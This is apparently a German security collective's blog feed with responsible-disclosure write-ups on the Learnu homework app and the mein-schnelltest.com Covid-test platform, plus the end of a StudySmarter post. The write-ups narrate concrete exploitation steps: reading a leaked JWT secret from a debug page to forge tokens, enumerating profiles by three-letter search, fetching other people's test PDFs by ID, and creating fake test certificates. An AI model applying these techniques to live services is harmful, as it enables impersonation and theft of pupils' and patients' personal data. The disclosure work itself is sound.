Nachdem wir also auch nach zwei Tagen nichts vom Hersteller gehört hatten und die Lücke nicht geschlossen war, probieren wir es auf anderem Wege. Nach langem Suchen auf der Website fanden wir eine Telefonnummer: nicht vom IT-Team, sondern vom Head of Sales. Diesen haben wir schließlich angerufen und er hat die Meldung dann aus dem Spam-Ordner rausgefischt und intern weitergeleitet.

Gehört, gesehen, geschlossen

Nachdem unsere Hinweise endlich die richtige Stelle beim Hersteller der App erreicht haben, hat StudySmarter die Lücke dann tatsächlich in weniger als einer Stunde geschlossen. Immerhin: Tür zu, Ordner weggesperrt, wir können aufatmen.

Außerdem hat StudySmarter direkt analysiert, wer auf die Daten zugegriffen hat und ein “Sicherheitsupdate” im Firmenblog veröffentlicht. Darüber haben wir uns dann gefreut. Immerhin!

Dieser Anbieter hat, nachdem er unsere Meldung entdeckt hat, also schnell reagiert und das Problem behoben. Das ist gut. Was allerdings nicht gut ist: Dass es zu solchen Konfigurationsfehlern überhaupt kommen kann. Der Fall von StudySmarter zeigt Versäumnisse im Entwicklungsprozess. Das hätten auch die Investor*innen vor dem 30 Mio. Investment im Rahmen ihrer Due Diligence überprüfen sollen.⁵

Security by Design

StudySmarter sagt selbst, dass sie kurz bevor die Lücke eingebaut wurde, einen Sicherheits-Audit der Software machen lassen haben. Das zeigt: Sicherheitsaudits alleine machen noch keine sichere Software. Für sichere Software müssen Entwicklungsprozesse so gestaltet werden, dass solche Fehler nicht auftreten.

Wir sagen stets: Wenn eine Software marktreif genug ist, um Kund*innen-Daten zu speichern, dann muss sie auch reif genug sein, diese für sich zu behalten. Doch das müssen die Prozesse eben auch dauerhaft sicherstellen.

Es hilft nicht, wenn StudySmarter einmal einen Sicherheitsaudit durchgeführt hat oder das von nun an monatlich tut. Wenn solche eklatanten Sicherheitslücken erst bei Audits gefunden werden, ist der Softwareentwicklungsprozess kaputt.

Um die Auswirkungen solcher Fehler zu minimieren, braucht man zusätzlich Konzepte, wie man so wenig wie möglich Daten speichert – denn Daten, die nicht gespeichert werden, können auch nicht abfließen.

🔎

All das fordert die DSGVO auch schon – es muss aber auch kontrolliert werden. Daher muss die Politik die Datenschutzbehörden besser ausstatten, personell und monetär. Dann können diese auch von sich aus nach solchen Lücken Ausschau halten und bei Verstößen angemessene Strafen verhängen.

📰

Wir veröffentlichen diese Lücke zusammen mit Zeit Online. Deren Artikel findet ihr hier

Das finden der Sicherheitslücke hat zwar nur zehn Minuten gedauert, das Aufschreiben und Veröffentlichen aber deutlich länger.

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Hallo Bianca! :D ↩︎
Alle dargestellten Datensätze sind fiktional. Ähnlichkeiten zu real existierenden Unternehmen oder Personen sind rein zufällig und nicht beabsichtigt. Während der Produktion dieses Artikels wurden keine Datenbanken verletzt. ↩︎
Bitte schickt uns kein Mails deswegen, wir werden nicht eure Hausaufgaben machen! :D ↩︎
Wir raten stark davon ab, eure E-Mails bei Google oder Outlook zu hosten, wenn ihr alle wichtigen E-Mails bekommen wollt. Beide Anbieter implementieren immer absurdere Hürden, über die ein Mailserver springen muss, damit die Mails nicht im Spam landen. ↩︎
Bei der Due Diligence prüfen Investor*innen ziemlich genau, in was sie da investieren. Bei einem Tech-Startup sollten dabei Faktoren wie Code-Qualität und IT-Sicherheit eine zentrale Rolle spielen. ↩︎

Learnu oder: Meine App, die hat drei Lücken 🎶

Thu, 11 Nov 2021 11:00:00 +0100

Dieser Artikel ist der zweite Teil der “Back-To-School-Serie”.

Hausaufgaben – ein leidiges Thema, das so ziemlich alle in sehr schlechter Erinnerung haben oder noch alltäglich ertragen müssen. Viele Schüler*innen versuchen deshalb, möglichst wenige davon zu machen und die Hausaufgaben solidarisch untereinander zu teilen. Doch was alles schief gehen kann, wenn man versucht, daraus ein Geschäftsmodell zu machen, das zeigen wir euch jetzt.

Die Gründer*innen unserer heutigen App wollten aus dem Teilen von Hausaufgaben ein Startup machen und haben sich eine Marktplatz-App für Hausaufgaben ausgedacht: learnu¹.

Learnu will alle Schüler*innen glücklich machen: Die einen müssen keine Hausaufgaben mehr machen, sondern können sie in der App einkaufen. Bezahlen können sie entweder mit echtem Geld (5€ im Monat für Zugang zu allen Aufgaben) – oder mit ihrer Zeit und Werbung gucken.

Und die anderen können, wenn sie sich sowieso schon an den Schreibtisch setzten, Geld damit verdienen. Für hochgeladene Hausaufgaben gibt es In-App-Credits (“Learnus”), die gegen Gutscheine eingetauscht werden können.

Von kein Plan zu kaputter App

Kurz nach dem eigenen Abi, zum Start des Studiums 2020, haben die Gründer*innen die Idee dann umgesetzt. Und das kam gut an – die App wurde von mehr als 500.000 Schüler*innen genutzt.

Doch wie sie selbst zugeben, kannten sich die Gründer*innen nicht gut genug mit App-Entwicklung aus und haben die App deshalb entwickeln lassen. Sie selbst haben also die Sicherheitslücken, die wir hier beschreiben, gar nicht fabriziert – aber sie haben andere mit der Entwicklung beauftragt, ohne die Code-Qualität selbst prüfen zu können. Und das kaputte Ergebnis dann an Schüler*innen verkauft.

Denn leider wurde die App technisch so schlecht umgesetzt, dass am Ende die Daten von rund 500.000 Accounts öffentlich zugänglich waren. Dazu gehören:

Vor- und Nachname, die bei der Registrierung als Klarname abgefragt werden
Username innerhalb der App
E-Mail-Adresse
Stadt und Schule
alle gestellten Fragen
alle abgerufenen Antworten

Doch bevor wir das entdeckten, mussten wir uns die App erstmal genau anschauen.

🕵

Dazu haben wir uns, wie immer, erstmal die App installiert und einen Machine-in-the-Middle-Proxy eingerichtet. Mit diesem können wir den Datenverkehr zwischen App und Server mitlesen. Dazu schaltet sich der Proxy dazwischen und behauptet jeweils, die entsprechende Gegenstelle zu sein.

Um sicherzustellen, dass ein Angreifer so etwas nicht machen kann, überprüft eine App, dass der Server ein gültiges Zertifikat hat, sich also ausweisen kann.

Normalerweise fragt eine App dazu das Betriebssystem, ob dieses Zertifikat gültig ist. Das Betriebssystem hat eine lange Liste von Stellen, die gültige Zertifikate ausstellen dürfen² und schaut, ob das Zertifikat von einer Stelle auf dieser Liste ausgestellt wurde.

Das ist für uns super, denn dann können wir uns selbst auf diese Liste schreiben. Damit vertraut unser Handy dann auch allen Zertifikaten, die wir selbst ausgestellt haben.

Die Learnu-App ist jedoch mit dem Framework Flutter entwickelt worden. Flutter greift nicht auf die Liste des Betriebssystems zurück, sondern bringt eine eigene mit. Das liegt vor allem daran, dass Flutter-Apps auf verschiedenen Betriebssystemen funktionieren sollen, aber jedes Betriebssystem einen anderen Weg hat, die Liste mit den Zertifikaten abzufragen. Also ist es einfacher, eine eigene Liste mitzubringen, als für jedes Betriebssystem eine andere Abfrage zu implementieren.

Das klingt erstmal gut, stellt uns jedoch vor ein Problem: Wir können nicht unser Test-Handy nutzen, wo wir uns bereits auf die Liste gesetzt haben, sondern müssen die Liste in der Learnu-App selbst anpassen. Das ist nichts, was uns dauerhaft abhalten kann, aber erschwert unsere Arbeit kurzfristig.

Let’s get binary

Daher schauen wir uns erstmal den Code der App genauer an. Der ist natürlich nicht öffentlich einsehbar. Deshalb müssen wir die App auf den Computer herunterladen, sie dekompilieren und können dann den Binärcode anschauen. Dort haben wir erstmal wild rumgestochert und schnell diese Stelle gefunden:

Wenn irgendwo “Admin” steht, klingt das für uns natürlich direkt spannend – und wir öffnen die Webseite im Browser, wo wir direkt auf https://admin.learnuapp.net/login weitergeleitet werden. Ein Hoffnungsschimmer, dass wir hier nicht weiterkommen: Die Zugangsdaten unseres Accounts aus der App funktionieren schonmal nicht.

Learnu, öffne dich

Aber aus Erfahrung wissen wir auch: Wenn es die Unterseite /login gibt, dann gibt es sehr wahrscheinlich auch die Unterseite /register. Und zack – wir sind auf dem Registrierungsformular für neue Accounts. Hmmm, vielleicht können wir uns da ja einen Admin-Account anlegen? Ausgefüllt und abgesendet … uuuund fehlgeschlagen. Immerhin. Doch die Fehlerseite ist sehr detailiert:

Die Fehlermeldung kommt vom PHP-Framework Laravel, mit dem die API programmiert wurde. Und diese Fehlermeldung zeigt uns alle Konfigurations-Variablen an – also unter anderem die Zugangsdaten zur Datenbank.

🚧 Achtung, Baustelle 🚧

Doch warum sehen wir all das? Nun, Learnu hat ihre Website im Debug-Modus gelassen. Dies ist ein spezieller Modus, der die Entwicklung erleichtert – unter anderem, indem sehr ausführliche Fehlermeldungen angezeigt werden.

Deshalb sollte der Debug-Modus aber auf keinen Fall im normalen Betrieb aktiviert sein. Sonst kann nämlich genau das passieren: Unbefugte bekommen ausführliche Fehlermeldungen zu sehen. Die Laravel-Dokumentation warnt sogar extra davor:

Doch diese Warnung hat Learnu wohl nicht gesehen oder ignoriert.

🎭

Die auf der Fehlerseite sichtbaren Datenbank-Zugangsdaten brachten uns zum Glück nicht viel, da die Datenbank nicht öffentlich erreichbar ist. Allerdings steht in der Fehlermeldung auch das JWT_SECRET, also ein geheimer Code, mit dem wir unbeschränkt und beliebig Authentifizierungs-Schlüssel generieren können. Mit diesen Schlüsseln können wir uns als jede*r beliebige Nutzer*in ausgeben – und der Server glaubt uns, weil wir ja einen korrekten Authentifizierungs-Schlüssel haben³.

🚨 “Fahrzeugpapiere und API-Dokumentation, bitte.”

Wir können uns jetzt also als jeder beliebige User ausgeben – wir wissen aber noch nicht, wie man mit der Programmierschnittstelle (API) des Servers kommuniziert. Doch nach etwas Raten landen wir auf “https://admin.learnuapp.net/docs”. Dort findet sich eine Dokumentation, wie die API funktioniert. Vermutlich liegt diese dort für die Entwickler*innen, um im Zweifelsfall schnell nachgucken zu können.⁴ Und auch wir freuen uns, so eine API-Dokumentation zu haben. Denn so haben wir schnell einen Überblick, wie diese funktioniert und können anfangen, die API auszuprobieren.

Unsere erste Anlaufstelle war, wie auch schon bei Scoolio, der Profil-Endpunkt unter https://admin.learnuapp.net/api/users/{USER_ID}/profile. Leider entdeckten wir hier schon das erste Problem, denn die Antwort sieht in etwa so aus (diese hier haben wir uns natürlich ausgedacht):

{
  "status": true,
  "message": "User profile received successfully.",
  "data": {
    "id": 91213,
    "fullname": "Anna Maier",
    "username": "Anna",
    "email": "anna.maier.1312@gmail.com",
    "created_date": "2021-01-12 13:12:13",
    "modified_date": "2021-03-11 13:12:13",
    "biography": "🏳️‍🌈",
    "city_id": "db21a7bf-60bc-4070-89c6-ba1d12605b01",
    "school_id": "ebf94c15-bbc1-4d48-9dae-2452516dc277",
    "avatar": null,
    "subscribers_count": 2,
    "subscriptions_count": 0,
    "is_subscribed": false
  }
}

Die Nutzer*innen-Accounts bei Learnu sind aufsteigend durchnummeriert, wie wir es schon von unzähligen anderen Apps kennen. Aber ist es nicht möglich, beliebig viele Profile auf einmal abzurufen, denn es gibt eine Abruflimitierung von einem Profil pro Sekunde. Allerdings entdecken wir in der Doku auch noch einen Such-Endpunkt, der zu jeder 3-stelligen Buchstabenkombination alle passenden Profile ausgibt. Suchen wir zum Beispiel nach ann (https://admin.learnuapp.net/api/users/search/list?username=ann), sieht die Antwort in etwa so aus:

{
  "status": true,
  "message": "Search list of users received successfully.",
  "data": [
    {
      "id": 91213,
      "fullname": "Anna Maier",
      "username": "Anna",
      "email": "anna.maier.1312@gmail.com",
      "is_premium": 0,
      "is_active": 1,
      "created_date": "2021-01-12 13:12:13",
      "modified_date": "2021-03-11 13:12:13",
      "content_count": 0,
      "forum_count": 0,
      "earnings_count": 0,
      "biography": "🏳️‍🌈",
      "city_id": "db21a7bf-60bc-4070-89c6-ba1d12605b01",
      "school_id": "ebf94c15-bbc1-4d48-9dae-2452516dc277",
      "avatar": null
    },
    {
      "id": 23420,
      "fullname": "Anna-Marie Müller",
      "username": "Anna2",
      "email": "anna.marie.2342@hotmail.com",
      "is_premium": 0,
      "is_active": 1,
      "created_date": "2021-01-12 13:12:13",
      "modified_date": "2021-03-11 13:12:13",
      "content_count": 0,
      "forum_count": 0,
      "earnings_count": 0,
      "biography": "homework is for me? 🥺👉👈",
      "city_id": "db21a7bf-60bc-4070-89c6-ba1d12605b01",
      "school_id": "ebf94c15-bbc1-4d48-9dae-2452516dc277",
      "avatar": null
    },
    …
  ]
}

Da wir auch eine Suche pro Sekunde durchführen können, bedeutet das: Um die halbe Million Datensätze herunterzuladen, bräuchten wir nicht 500.000 Sekunden (etwa 6 Tage), sondern nur noch etwa 18.000⁵ Sekunden, also 5 Stunden.

Open Source wider Willen

Nun können wir alle Profile abrufen und uns als beliebige andere Personen ausgeben, mehr als genug um es zu melden. Also geht das übliche Prozedere los: Wir schreiben unseren Report, um ihn dann an das CERT-Bund beim BSI, den Hersteller und die zuständige Landesdatenschutzbehörde zu schicken.

Doch nachdem die Website bereits schlecht konfiguriert und noch im Entwicklungsmodus ist, haben wir den Verdacht, dass vielleicht noch mehr Dinge falsch konfiguriert sind.

Wir vermuten also, dass vielleicht die .git/index-Datei öffentlich abrufbar sein könnte. Das ist eine interne Datei des Versionskontrollsystems, das für die Entwicklung von Learnu genutzt wurde. Darin stehen alle Dateien, die die Entwickler*innen mit git verwalten, also (fast) alle Quelltextdateien des Learnu-Servers. Das ist eine altbekannte Sicherheitslücke und es empfiehlt sich, den .git/-Ordner nicht öffentlich zugänglich zu machen⁶.

Für uns ist das sehr nützlich: So wissen wir nämlich, welche anderen Code-Dateien es auf dem Webserver gibt, zum Beispiel die Datei https://admin.learnu.net/config/mail.php. Die können wir natürlich auch abrufen, denn auch dieser Teil war falsch konfiguriert.⁷ Darin befanden sich Zugangsdaten zu einem Anbieter, über den learnu Mails versendet hat. Da auch der Code mit Konfigurationsdateien definitiv nicht von außen zugänglich sein sollte, müssen wir also den Report nochmal ergänzen und schicken ihn endgültig ab.

Fazit

Obwohl die Datenbank diesmal also nicht aus dem Internet erreichbar war, kamen wir trotzdem an alle Daten. Deshalb: Konfiguriert eure Webserver ordentlich. Gebt nur Dateien aus, die auch ausgegeben werden sollen, also weder PHP-Files noch den .git Ordner noch die Konfiguration des Webservers selbst. Lasst eure Web-Frameworks nicht im Entwicklungsmodus laufen. Und stellt – verdammt nochmal – nur die personenbezogenen Daten über die Programmierschnittstelle bereit, die die App auch wirklich braucht!

Pulling the plug 🔌

Immerhin: Nachdem wir wiederholt nachfragten und teilweise im 15-Minuten-Takt anriefen, ist die Plattform mittlerweile offline – und bleibt das nach Aussage der beiden Gründer auch. Wir beglückwünschen die Gründer von Learnu zu der Erkenntnis, dass es besser ist, die App nicht weiterzubetreiben und zur Entscheidung, die App dauerhaft offline zu lassen. Damit haben sie ihre Datenschutzprobleme konsequenter und dauerhafter gelöst als manch andere.

Doch Fakt ist: Die App ist mit den Daten ihrer Nutzer*innen extrem nachlässig umgegangen. Wenn die Gründer in ihrem Podcast lapidar sagen “Who cares – es war eine super Erfahrung” – müssen wir antworten: Wir caren! Und wir finden es unverantwortlich und frech, mit den Daten von Schüler*innen zu spielen, nur um das Ego zu pushen.

Die Learnu-Gründer*innen hingegen finden ihr Vorgehen sogar so geil, dass sie ein eigenes “Startup Programm für Schüler*innen” namens YoungUp gestartet haben. Dort kann man dann “in verschiedensten Bereichen Erfahrung sammeln und Verantwortung übernehmen.” Wir hätten uns ja gewünscht, dass die beiden Verantwortung für die Daten ihrer Kund*innen übernommen hätten.

Dass es so weit gekommen ist, liegt aber nicht nur an den beiden, sondern ist Ergebnis eines kaputten Systems. Das entschuldigt zwar das Verhalten der beiden nicht, aber so werden auch einige größere Probleme sichtbar:

Liberallala

Das erste Problem ist das gesellschaftliche Drängen auf einen lückenlosen und möglichst aufpolierten Lebenslauf: Abi und Auslandsaufenthalt gelten als erstrebenswert – und am besten noch möglichst früh ein eigenes Startup gründen.

Nicht falsch verstehen: Mit einer guten Idee (und dem entsprechenden fachlichen Background) kann es super cool sein, etwas zu gründen! Dabei kann man viel lernen – und sogar einen positiven Beitrag für die Gesellschaft leisten.

Doch wer sein eigenes “Business” nur um des “Business” und des Lebenslaufs willen gründen will, sollte sich das gut überlegen – vor allem, wenn es dabei um die Daten fremder Leute geht. Denn dann ist das nicht mehr nur eine nette Spielerei, bei der man auch mal Fehler machen darf, um daraus zu lernen – hier geht es um ein echtes Risiko für die betroffenen Nutzer*innen.

Aber ich bin doch klein, ich brauche keinen Datenschutz 🥺

Hier kommen wir zum zweiten Problem: Viele Startups denken, die Spielregeln gelten für sie nicht. Schon scoolio hat uns erzählt, dass sie als Startup nicht die Möglichkeit hätten, sichere Software zu bauen. Dabei ist sichere Software und Datenschutz keine nette Zugabe, die man vielleicht mal einbauen kann, wenn gerade Geld und Zeit übrig sind — und seien wir ehrlich, das sind sie nie. Denn die DSGVO gilt auch für Startups. Wenn ein Produkt reif genug ist, um Kund*innen-Daten speichern zu können, dann muss es auch reif genug sein, diese für sich zu behalten.

Nach uns die Sintflut

Ein drittes Problem: Die Konsequenzen für andere werden ignoriert. Denn wenn die Gründer von ihrem Vorbild Mark Zuckerberg und dessen Ignoranz (“The biggest risk you can take is not taking any risks”) schwärmen, müssen wir fragen, ob das die richtigen Vorbilder sind. Wenn das Vorbild ein Unternehmen ist, das wissentlich Nutzer*innen manipuliert, Hass und Hetze schürt und vieles mehr, dann braucht man sich nicht wundern, wenn ihnen der Schutz der persönlichen Daten anderer egal ist.

Wann immer es um “digitale Innovation” geht, muss klar sein: Nur weil etwas digital ist, ist es nicht automatisch gut. Unsere Gesellschaft muss dringend lernen, neue Apps oder Plattformen nicht blind zu bejubeln – sondern sie zu hinterfragen und zu prüfen. Trotzdem ist auch klar: Diese Aufgabe kann nicht bei den einzelnen Nutzer*innen liegen.

👀

Deshalb ist das vierte Problem: Fehlende Kontrolle durch die zuständigen Stellen.

Durch die DSGVO gibt es eine größtenteils sehr gute Rechtsgrundlage für Datenschutz. Diese muss aber auch durchgesetzt werden. Unsere Zusammenarbeit mit den Datenschutzbehörden ist stets sehr gut gewesen, aber diese fangen oft erst an zu arbeiten, nachdem wir (und andere) von extern die Probleme gefunden und an sie herangetragen haben.

Und um das zu ändern braucht es mehr Leute, Ressourcen und Kompetenzen in den Datenschutzbehörden. Diese müssen endlich auch von sich aus nach solchen Problemen Ausschau halten und bei Verstößen empfindliche Strafen verhängen können.

Timeline

2021-10-18 – Meldung an CERT-Bund, LDI NRW und Learnu
2021-10-20 – Aufgrund ausgebliebener Reaktion: nochmalige Nachfrage des CERT-Bund bei Learnu
2021-10-20 ab 12:30 Uhr – mehrere Anrufversuche bei Learnu
2021-10-20 13:53 Uhr – Learnu bestätigt die gemeldeten Lücken zu überprüfen
2021-10-20 ~23 Uhr – bei routinemäßiger Überprüfung stellen wir fest, dass Learnu offline ist
2021-10-29 – Nachfrage des CERT-Bund bei uns ob die Lücken geschlossen wurden, da keine weitere Reaktion von Learnu
2021-10-29 15:09 Uhr – letzte Fristsetzung für Learnu unsererseits, zum 03.11.2021 12:00 UTC
2021-10-29 – Telefonat mit Learnu, Bestätigung dass Learnu offline bleibt
2021-11-11 – Veröffentlichung dieses Blogposts

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Titelbild basierend auf “France in XXI Century - Future School” aus der Bilderreihe En L’An 2000.

Das Bild enthält folgende Creative Commons lizensierten Werke:

Sebwes89, Frank Thelen Portrait, CC BY-SA 4.0
Sandro Halank, Wikimedia Commons, CC BY-SA 4.0, 2020-02-14 Christian Lindner (Bundestagsprojekt 2020) by Sandro Halank–2, CC BY-SA 4.0
Freie Demokratische Partei, Sebastian Czaja 2016 (cropped), CC BY-SA 3.0 DE
Sven Teschke, 2013-08-23 - Wolfgang Kubicki - 8689, CC BY-SA 3.0 DE
© Raimond Spekking / CC BY-SA 4.0 (via Wikimedia Commons), FDP-Wahlkampfkundgebung in der Wolkenburg Köln-2136, CC BY-SA 4.0
Martin Kraft, MJK00601 Nicola Beer, CC BY-SA 3.0

Der Name setzt sich laut den Gründer*innen aus den Begriffen “lernen” (“learn”), “verdienen” (“earn”) und “du” (“u”) zusammen. 🤡 ↩︎
Liste der standardmäßig vertrauten Zertifizierungsstellen in Windows und iOS / macOS ↩︎
Die Authentifizierungs-Schlüssel hier sind natürlich JSON-Web-Tokens, die wir jetzt mit dem Secret signieren und validieren können. ↩︎
Das ist auch eigentlich gar kein Problem, wenn die API ausreichend geschützt ist. Und wenn die API nicht genug geschützt ist, dann ist Security by Obscurity auch keine Lösung. ↩︎
26 hoch 3 = 17576 ↩︎
https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/ ↩︎
PHP ist eine interpretierte Sprache, das bedeutet, dass der Server beim Abruf der Seite den Code ausführt und nur das Ergebnis an den Browser liefert. Dafür muss der Webserver allerdings so konfiguriert sein, dass .php Dateien an den PHP-Interpreter übergeben werden statt sie direkt auszuliefern. ↩︎

Wie wir plötzlich Robert Koch waren

Wed, 10 Nov 2021 05:50:00 +0100

Corona geht in die vierte Welle. Ein guter Zeitpunkt, um unser Lieblingsthema „Corona-Testzentren“ wieder aus der Schublade zu holen. Wir wollen schauen, ob die Testanbieter mittlerweile was aus den Fehlern ihrer Vorgänger*innen gelernt haben. Spoiler: Haben sie nicht. Aber eins nach dem anderen.

Wer sich in Berlin schon einmal schnelltesten lassen hat, kennt sie vielleicht: Die leuchtend orangenen Test-Stationen von schnelltestberlin.de oder die Coronabikes. Das sind Lastenräder mit einer kleinen Teststation, die oft vor Clubs, Supermärkten und Museen stehen.

Was all diese Teststationen gemeinsam haben: Sie nutzen das gleiche Online-System, um die Testergebnisse mitzuteilen – mein-schnelltest.com.

Kurz bevor die Corona-Schnelltests am 11. Oktober für die meisten Menschen kostenpflichtig wurden, waren wir bei einer dieser Stationen.

Eigentlich wollten wir keine Teststationen mehr zerforschen – ein paar Tage später hat uns die Neugier aber doch gepackt: Wir gehen nochmal auf die Webseite, um unser Testergebnis abzurufen.

👁️👄👁️

Wie üblich schauen wir uns als allererstes die Entwicklungs-Tools unseres Browsers an. Dabei ist der Network-Tab besonders interessant für uns, denn dort kann man sich anschauen, welche Daten die Website so abruft.

Eine der ersten Anfragen, die uns auffällt, geht an https://corona-api.de/persons/owner/{USER_ID}, wobei USER_ID natürlich die Nummer unseres Accounts ist – z.B. 612341213acab23425251e21.

Also kopieren wir diese Anfrage ganz naiv in unseren API-Client und probieren etwas rum. Als erstes entfernen wir die USER_ID – also 612341213acab23425251e21 am Ende der URL. Also wird unsere URL zu"https://corona-api.de/persons/owner/". Wir erhalten eine Fehlermeldung.

Naja, dann probieren wir eben noch etwas weiter und löschen noch das owner/ aus der URL. Doch wieder kommt eine Fehlermeldung:

Einen Versuch wagen wir noch und entfernen das / am Ende der URL. Und tada:

Uns fällt eine Liste mit den Personen, die auf der Plattform registriert sind, entgegen. Insgesamt fast 400.000 mit allen Daten, die bei einem Corona-Test eben so erfasst werden:

Name
E-Mail-Adresse
Geburtsdatum
Geschlecht
Telefonnummer
Adresse
Pass-/Ausweisnummer (falls angegeben, häufig aber vorhanden)

Wir kennen eure Testergebnisse (mal wieder)

Zu jeder Person gibt es außerdem ein Feld namens orders, in dem die Order-IDs dieser Person stehen. Die Tests werden im System von mein-schnelltest.com orders genannt, also eigentlich Bestellungen.

Als wir unser eigenes Testergebnis als PDF abrufen, erhalten wir dieses von dem Schnittstellen-Endpunkt https://corona-api.de/orders/downloadPdf/{ORDER_ID}.

Jetzt sind wir neugierig und probieren mal, dort eine andere Order-ID einzufügen – und schon erhalten wir das Testergebnis einer anderen Person.

Das heißt: Der Server überprüft nicht, ob das Testergebnis, das wir abrufen auch wirklich unser eigenes ist. Da wir eingeloggt sind, sollte dieser Abgleich eigentlich kein Problem sein.

Anhand der Personenliste können wir abschätzen, dass es fast 700.000 Testergebnisse waren, die so quasi offen im Netz abrufbar waren.

Kommt ein 177-Jähriger zum Corona-Test und sagt …

Doch wir können nicht nur hunderttausende Testergebnisse abrufen, sondern es kommt noch schlimmer: Im Quellcode entdecken wir auch die Endpunkte, über die die Mitarbeiter*innen einen neuen Test im System anlegen und das Testergebnis speichern.

Dass wir diese Endpunkte kennen, ist an sich kein Problem. Denn der Server sollte eigentlich prüfen, ob wir berechtigt sind, diese zu nutzen – also ob wir in einer Teststelle arbeiten und im System entsprechend freigeschaltet sind.¹ Trotzdem versuchen wir, mit unserem Account einen Test anzulegen. Und siehe da:

Wir können selbst einen Test anlegen und auch problemlos das Testergebnis speichern:

Das heißt: Jetzt können wir für jede beliebige Person einen Test erstellen.

Natürlich nehmen wir zum Ausprobieren eine offensichtlich historische Person², damit das Test-Zertifikat auf keinen Fall missbraucht werden kann. Wir erstellen also einen PCR-Test für Robert Koch. Und wir können zum Glück mitteilen: Sein Testergebnis war negativ – wir wollen uns gar nicht ausmalen, was für ein Risiko eine Coronainfektion für ihn mit seinen 177 Jahren wäre.

Das Zertifikat enthält alles: Name, optional Passnummer und sogar einen BärCODE, der auch als gültig erkannt wird. Soweit wir wissen, kann der BärCODE auch nicht wieder ungültig gemacht werden, so wie wir es beim digitalen Impfzertifikat schon mal beschrieben haben.³

Da wir nicht wissen, welche Prozesse bei einem positiven Testergebnis automatisch ausgelöst werden, haben wir uns dagegen entschieden, auch ein positives Testergebnis zu generieren. Wir gehen allerdings davon aus, dass dies ebenfalls problemlos möglich gewesen wäre.

📬 You’ve got mail!

Wie immer haben wir auch diesmal ein Responsible-Disclosure-Verfahren eingeleitet, unmittelbar nachdem wir die Lücken gefunden haben. Dafür dokumentieren wir die Lücken feinsäuberlich und informieren das CERT-Bund, den Hersteller und die zuständigen Landesdatenschutzbeauftragten – in diesem Fall für Berlin die Berliner Beauftragte für Datenschutz und Informationsfreiheit.

Der Hersteller hat dann innerhalb kurzer Zeit alle beschriebenen Lücken geschlossen und eine weitere Analyse eingeleitet. Besonders gründlich kann diese aber nicht gewesen sein, denn die Testergebnisse für Robert Koch in unserem Account existieren weiterhin:

Das Unternehmen hat die betroffenen Kund*innen bisher nicht benachrichtigt. Dabei war in den vergangenen drei Wochen wirklich genug Zeit, das zu tun.

Wir hoffen, dass sie es noch tun und wirklich alle rund 400.000 betroffenen Kund*innen gründlich über alle Details informieren.

Fazit

Wie schon bei den letzten Testzentren-Artikeln sind wir fassungslos, wie fahrlässig hier mit den persönlichen Daten von hunderttausenden Menschen umgegangen wird.

Wer eine solche Software anbietet, muss dafür sorgen, dass diese läuft, ohne Daten zu verlieren – auch das ist ein wichtiger Teil des Datenschutzes. Wenn eine Software marktreif genug ist, um Kund*innen-Daten zu speichern, muss sie auch reif genug sein, diese Daten für sich zu behalten.

Das bedeutet unserer Ansicht nach nicht nur, dass ein Anbieter fähig sein sollte, seine Datenbank so zu konfigurieren, dass diese nicht für jeden zugänglich im Internet steht. Sondern eigentlich: absolute Minimierung der anfallenden Daten und E2E-verschlüsselte Kommunikation – insbesondere im Kontext medizinischer Daten.

Eine gute Übersicht über weitere sinnvolle Maßnahmen gibt es beim Landesdatenschutz Baden-Württemberg.

Der Markt regelt das … nicht

Im Fall der Testzentren wurde eine Aufgabe, die eigentlich der Staat und die gesetzlichen Krankenversicherungen erfüllen sollten, dem Markt überlassen. Nach unserer Einschätzung haben die letzten Artikel auf diesem und anderen Blogs ausgiebig gezeigt, dass das nicht funktioniert.

Dabei gibt es von staatlicher Seite inzwischen sogar eine Lösung für das Problem: Die Corona-Warn-App, die seit Version 2.4, also 24. Juni 2021, auch Schnelltests unterstützt.

Dabei ist die digitale Übertragung der Testergebnisse sinnvoll und datensparsam gelöst und es wurde schon beim Systementwurf auf Datensicherheit geachtet. Warum immer noch Unternehmen ihre selbstgeklöppelte Testsoftware einsetzen, können wir nicht nachvollziehen.

Wir fordern deshalb, dass zukünftig kostenfreie Bürger*innen-Tests nur noch über die CWA oder analog abgewickelt werden dürfen. Der Markt hat das nicht geregelt. Der Markt regelt nie irgendwas.

😫

Wir fordern in jedem dieser Artikel, dass die Datenschutzbehörden endlich empfindliche Strafen gegen Unternehmen verhängen, die so sorglos mit Daten umgehen. Die Mühlen der Bürokratie mahlen langsam, das ist uns bewusst. Aber nach 8 Monaten, seitdem wir das erste Mal eine Sicherheitslücke bei einem Schnelltestanbieter gefunden haben, wird es langsam mal Zeit.

Allerdings sind auch wir, die wir viele Stunden ehrenamtlich in Analysen von Testzentren und die Kommunikation mit Behörden und Softwareherstellern gesteckt haben, mittlerweile ziemlich frustriert. Wir sehen kaum Verbesserung seitens der Anbieter oder Regulierungsversuche durch die Politik.

Uns ist bewusst, dass die Datenschutzbehörden der Länder völlig überlastet sind und sich freuen, wenn die Firma, gegen die sie ermitteln, auch am Ende der Ermittlung noch existiert. Allerdings sind sie auch unsere letzte Hoffnung: Bitte verhängt endlich Strafen bei grob fahrlässigen Datenabflüssen – insbesondere im Gesundheitssektor. Denn Markt und auch Politik haben hier versagt.

Danke

Vielen Dank an die Berliner Datenschutzbeauftragte, das CERT-Bund und den rbb für die gute Zusammenarbeit 🤝. Wir glauben: Nur wenn Sicherheitslücken möglichst sichtbar sind, können wir sie verstehen und vermeiden. Den Artikel von rbb24 über die Lücke findet ihr hier: https://www.rbb24.de/panorama/thema/corona/beitraege/2021/11/schnelltest-berlin-pcr-gefaelscht-datenleck.html

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Wir arbeiten nicht in einem Testzentrum. ↩︎
in der ersten Fassung haben wir hier “fiktive Person” geschrieben, das war natürlich Quatsch ↩︎
Offenlegung: Wir wurden vor längerer Zeit angefragt, ob wir uns den BärCODE sicherheitstechnisch angucken wollen. Aus Kapazitätsgründen haben wir auf diese Anfrage nicht reagiert. Außerdem machen wir generell keine Auftragsarbeiten für Software-Hersteller. ↩︎

Scoolio – Kellerbesichtigung des Grauens

Tue, 26 Oct 2021 06:30:00 +0200

